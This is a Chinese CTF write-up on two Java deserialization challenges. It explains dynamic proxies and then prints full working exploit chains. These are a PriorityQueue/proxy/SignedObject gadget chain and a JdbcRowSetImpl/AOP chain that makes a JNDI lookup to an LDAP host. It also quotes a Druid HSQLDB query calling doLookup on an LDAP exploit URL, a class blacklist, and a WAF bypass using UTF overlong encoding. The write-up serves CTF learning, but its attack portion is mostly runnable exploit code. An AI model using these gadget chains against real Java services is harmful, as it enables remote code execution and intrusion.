TIMECapsule & justDeserialize 学习动态代理

写在最前面

两场比赛的java题目都是属于那种,修复很好修但是很难打

ccb半决赛修复的问题给我很大的教训,改过来之后软件赛在华东赛区拿下fix一血二血

FIX

修复的时候需要注意

  1. 服务需要手动kill掉对应的题目进程

  2. 服务重启的时候需要是使用nohup后台启动,不然当fix的进程被杀死,就会导致启动的服务挂掉,导致修复失败

    给出一题的修复脚本

    1
    2
    3
    4
    5
    6
    #!/bin/sh

    pkill -9 dotnet
    rm /app/RazorCor.dll
    mv RazorCor.dll /app/RazorCor.dll
    nohup dotnet /app/RazorCor.dll &

TIMECapsule

动态代理

​ 代理类在程序运行时创建的代理方式被成为动态代理。代理类并不是在Java代码中定义的,而是在运行时根据我们在Java代码中的“指示”动态生成的。相比于静态代理, 动态代理的优势在于可以很方便的对代理类的函数进行统一的处理,而不用修改每个代理类中的方法。

Java 代理模式详解 | JavaGuide

1
通过Proxy 类的 newProxyInstance() 创建的代理对象在调用方法的时候,实际会调用到实现InvocationHandler 接口的类的 invoke()方法。 你可以在 invoke() 方法中自定义处理逻辑,比如在方法执行前后做什么事情。

主要包括两种动态代理的方式

JDK动态代理

1
2
3
1.定义一个接口及其实现类;
2.自定义 InvocationHandler 并重写invoke方法,在 invoke 方法中我们会调用原生方法(被代理类的方法)并自定义一些处理逻辑
3.通过 Proxy.newProxyInstance(ClassLoader loader,Class<?>[] interfaces,InvocationHandler h) 方法创建代理对象;

CGLIB动态代理

jdk的问题是,必须要实现对应的接口,代理实现了接口的类

CGLIB(Code Generation Library)是一个基于ASM的字节码生成库,它允许我们在运行时对字节码进行修改和动态生成。CGLIB 通过继承方式实现代理。很多知名的开源框架都使用到了CGLIB, 例如 Spring 中的 AOP 模块中:如果目标对象实现了接口,则默认采用 JDK 动态代理,否则采用 CGLIB 动态代理

1
定义一个类;自定义 MethodInterceptor 并重写 intercept 方法,intercept 用于拦截增强被代理类的方法,和 JDK 动态代理中的 invoke 方法类似;通过 Enhancer 类的 create()创建代理类

来自CISCN&CCB 的半决赛赛题 TIMECapsule ,赛后复现,感谢Aecous师傅的帮助

这题的fix环境十分的抽象,懒得喷了

核心漏洞点在这里

image-20250319151929485

将一个传入的值就行了反序列化,同时存在一个简单的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class SafeObjectInputStream extends ObjectInputStream {
public SafeObjectInputStream(InputStream in) throws IOException {
super(in);
}

protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().startsWith("com.ctf.*") && !desc.getName().startsWith("java.") && !desc.getName().equals("[B")) {
throw new InvalidClassException("Unauthorized class deserialization", desc.getName());
} else {
return super.resolveClass(desc);
}
}
}

限制了只允许反序列化com.ctf.*下的类和java.*的类,以及[B,不是这到底是个啥,只在序列化字符串的里面看到过

注意到在com.ctf.util存在FieldGetterHandler

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.ctf.util;

import java.io.Serializable;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;

public class FieldGetterHandler implements InvocationHandler, Serializable {
String fieldName;

public FieldGetterHandler() {
}

public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
Object myObject = args[0];
Class<?> clazz = myObject.getClass();
String getterMethodName = getGetterMethodName(this.fieldName, false);
Method getterMethod = clazz.getMethod(getterMethodName);
return getterMethod.invoke(myObject);
}

private static String getGetterMethodName(String fieldName, boolean isBoolean) {
String prefix = isBoolean ? "is" : "get";
return prefix + capitalize(fieldName);
}

private static String capitalize(String str) {
return str != null && !str.isEmpty() ? str.substring(0, 1).toUpperCase() + str.substring(1) : str;
}
}

这里提供了一个对象代理,当调用被代理的对象的方法的时候会触发这里的invoke

尝试通过一个getGetterMethodName,调用任意的getter方法。

getter方法,比较好的就是走signedObject,这个类在java.security.* 下,不被反序列化限制,同时可以触发getObject方法,完成二次反序列化

但是我们需要寻找一个类,这个类这些要求

  1. 需要在java.*
  2. 这个类反序列化的时候会触发一个方法,要求这个方法的参数可控

本来尝试了hashmap,hashset这些,但是他们都会优先触发hashcode,然后导致报错

image-20250319161152924

因为hashcode是空,所以获取不到arg直接报错了

这里小林找到了一个类priorityQueue 这个类反序列化的时候会触发compare,参数可控,就能触发我们的代理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
package com.ctf;



import com.ctf.util.SafeObjectInputStream;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.security.*;
import java.util.*;

import static org.example.twice.SignedObject.BadAttributeValueExpException_signobject.payload;

public class poc {
public static void main(String[] args) throws Exception {

HashMap hashMap = new HashMap();


Object signobj = second_serialize(payload());


Class<?> aClass = Class.forName("com.ctf.util.FieldGetterHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor();
declaredConstructor.setAccessible(true);
InvocationHandler o = (InvocationHandler) declaredConstructor.newInstance();

setValue(o,"fieldName","object");

Object proxy = Proxy.newProxyInstance(signobj.getClass().getClassLoader(), new Class[]{Comparator.class}, o);


//初始化属性comparator为proxy类
PriorityQueue priorityQueue = new PriorityQueue(2);


priorityQueue.add(1);
priorityQueue.add(2);
Object[] queue = {signobj,signobj};

setValue(priorityQueue,"comparator",proxy);
setValue(priorityQueue,"queue",queue);

String serialize = serialize(signobj);
unserialize(serialize);

}

//提供需要序列化的类,返回base64后的字节码
public static String serialize(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
return poc;
}


//提供base64后的字节码,进行反序列化
public static void unserialize(String exp) throws IOException,ClassNotFoundException{
byte[] bytes = Base64.getDecoder().decode(exp);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new SafeObjectInputStream(byteArrayInputStream);
Object o = objectInputStream.readObject();
o.equals(new String());
}

public static Object second_serialize(Object o) throws NoSuchAlgorithmException, IOException, SignatureException, InvalidKeyException {
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject((Serializable) o, kp.getPrivate(), Signature.getInstance("DSA"));
return signedObject;
}

public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

}

成功触发

image-20250319161820523

justDeserialize

这题有一个存在反序列化,并且触发tostring

第一层waf是检测字符串的 直接utf overlong coding 就过掉了

image-20250326174602598

但是tostring触发的几个链子都在黑名单里面,黑名单还是很长的

image-20250326174933348

tostring 能走的几个路子都死了,该干什么呢

vn群里看到师傅发了这篇文章

文章 - 帆软HSQL二次反序列化利用浅析 - 先知社区

1
2
3
4
5
6
7
8
9
DruidDataSource druidDataSource = new DruidDataSource();
druidDataSource.setUrl("jdbc:hsqldb:mem:test");
druidDataSource.setValidationQuery("CALL \"javax.naming.InitialContext.doLookup\"('ldap://127.0.0.1:1389/Exploit')");
druidDataSource.setUsername("sa");
druidDataSource.setPassword("");
druidDataSource.setInitialSize(1);
druidDataSource.setLogWriter(null);
druidDataSource.setStatLogger(null);
Reflections.setFieldValue(druidDataSource, "transactionHistogram", null);

不过我按照文章内的内容,删除/制空不能序列化的内容,搞了蛮久也没成功,不知道有没有大跌可以帮我看下

然后使用jdk自带的JdbcRowSetImpl,l利用之前某篇文章内的aop链子,tostring触发methods.invoke(),就可以实现jndi注入

不过一直不知道为报错,学习了软件攻防赛现场赛上对justDeserialize攻击的几次尝试 | GSBP’s Blog 后,了解到先需要实现相关的接口才能序列化进去

最终exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
package com.example.ezjav;

import com.alibaba.druid.pool.DruidDataSource;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.sql.SQLException;
import java.util.*;

import org.example.payload_test.TemplatesImplDemo;
import com.sun.rowset.JdbcRowSetImpl;
import org.apache.commons.codec.binary.Hex;
import org.example.java_RMI.server;
import org.hsqldb.jdbcDriver;
import org.springframework.aop.framework.AdvisedSupport;

import javax.swing.event.EventListenerList;

public class payload {
public static void main(String[] args) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("ldap://127.0.0.1:3232/3fa0f4");

Object proxy = aop_tools.aop_tostring(jdbcRowSet,"getDatabaseMetaData");
Object compare = aop_tools.aop_addInterface(proxy,new Class[]{Comparator.class});
PriorityQueue<Object> queue = new PriorityQueue(2);
queue.add("1");
queue.add("1");
Reflections.setFieldValue(queue,"comparator",compare);
Reflections.setFieldValue(queue,"queue",new Object[]{proxy,proxy});

deserial(serial(queue));

}
public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();

String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;

}

public static void deserial(String data) throws Exception {
byte[] decode = Base64.getDecoder().decode(data);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byteArrayOutputStream.write(decode);
MyObjectInputStream objectInputStream = new MyObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
objectInputStream.readObject();
}
static class MyObjectInputStream extends ObjectInputStream {
private Set<String> denyClasses;

public MyObjectInputStream(InputStream in) throws IOException {
super(in);
this.denyClasses = new HashSet<>();
denyClasses.add("javax.management.BadAttributeValueExpException");
denyClasses.add("com.sun.org.apache.xpath.internal.objects.XString");
denyClasses.add("java.rmi.MarshalledObject");
denyClasses.add("java.rmi.activation.ActivationID");
denyClasses.add("javax.swing.event.EventListenerList");
denyClasses.add("java.rmi.server.RemoteObject");
denyClasses.add("javax.swing.AbstractAction");
denyClasses.add("javax.swing.text.DefaultFormatter");
denyClasses.add("java.beans.EventHandler");
denyClasses.add("java.net.Inet4Address");
denyClasses.add("java.net.Inet6Address");
denyClasses.add("java.net.InetAddress");
denyClasses.add("java.net.InetSocketAddress");
denyClasses.add("java.net.Socket");
denyClasses.add("java.net.URL");
denyClasses.add("java.net.URLStreamHandler");
denyClasses.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
denyClasses.add("java.rmi.registry.Registry");
denyClasses.add("java.rmi.RemoteObjectInvocationHandler");
denyClasses.add("java.rmi.server.ObjID");
denyClasses.add("java.lang.System");
denyClasses.add("javax.management.remote.JMXServiceUR");
denyClasses.add("javax.management.remote.rmi.RMIConnector");
denyClasses.add("java.rmi.server.RemoteRef");
denyClasses.add("javax.swing.UIDefaults$TextAndMnemonicHashMap");
denyClasses.add("java.rmi.server.UnicastRemoteObject");
denyClasses.add("java.util.Base64");
denyClasses.add("java.util.Comparator");
denyClasses.add("java.util.HashMap");
denyClasses.add("java.util.logging.FileHandler");
denyClasses.add("java.security.SignedObject");
denyClasses.add("javax.swing.UIDefaults");
}

protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
String className = desc.getName();
if (this.denyClasses.contains(className))
throw new ClassNotFoundException("Class is blacklisted: " + className);
return super.resolveClass(desc);
}

}
}

成功发起jndi请求

image-20250328102231659

后面就是jndi的打法了,不在赘述

使用的aoptools 我简单封装了一下,以便复用

AsaL1n/aop_tools